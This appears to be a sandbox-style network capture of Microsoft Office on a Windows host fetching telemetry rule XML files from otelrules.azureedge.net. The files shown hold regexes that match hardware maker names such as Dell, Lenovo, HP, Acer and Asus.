2024-10-17 16:18:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 4075f338-701e-0021-2ed8-1e3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161818Z-r197bdfb6b4qz2jg69037h393n00000003gg00000000k1f6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 43a19f6a-101e-008e-12d8-1ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161818Z-r197bdfb6b488ks5g2m20m5xu40000000a1000000000gnma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: dd01a525-501e-0064-08d8-1e1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161819Z-r197bdfb6b4kq4j58bsux2hzu000000006ag00000000k1fr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ad3de8e9-901e-0064-05d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161819Z-16b659b4499hn29ks1ddp5hvac0000000bag00000000b6w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 68e1d423-f01e-005d-5bd8-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161819Z-15b8d89586fs9clcebkvq6f0sc00000003q000000000byng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 51cf8b7e-b01e-0098-14d8-1ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161819Z-r197bdfb6b4h2vctng0a0nubg800000000cg000000000ddd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3d3525b4-b01e-0001-72d8-1e46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161819Z-16b659b4499z4tq4vyreufa8gn00000006q0000000000wt9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 52ecab4f-901e-0029-78d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161820Z-16b659b4499lfw4zscvav76bhn00000008d000000000mcf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ad3e2c7c-901e-0064-12d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161820Z-16b659b4499r9jvzdsrvx9g86w00000008f0000000002gf5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5f43ec69-401e-008c-5bd8-1e86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161820Z-r197bdfb6b46gt25cvgp1aw0w80000000200000000008fh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0c01d776-601e-0084-1bd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161820Z-15b8d89586fcvr6pym2snavm4w00000003u000000000f5f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
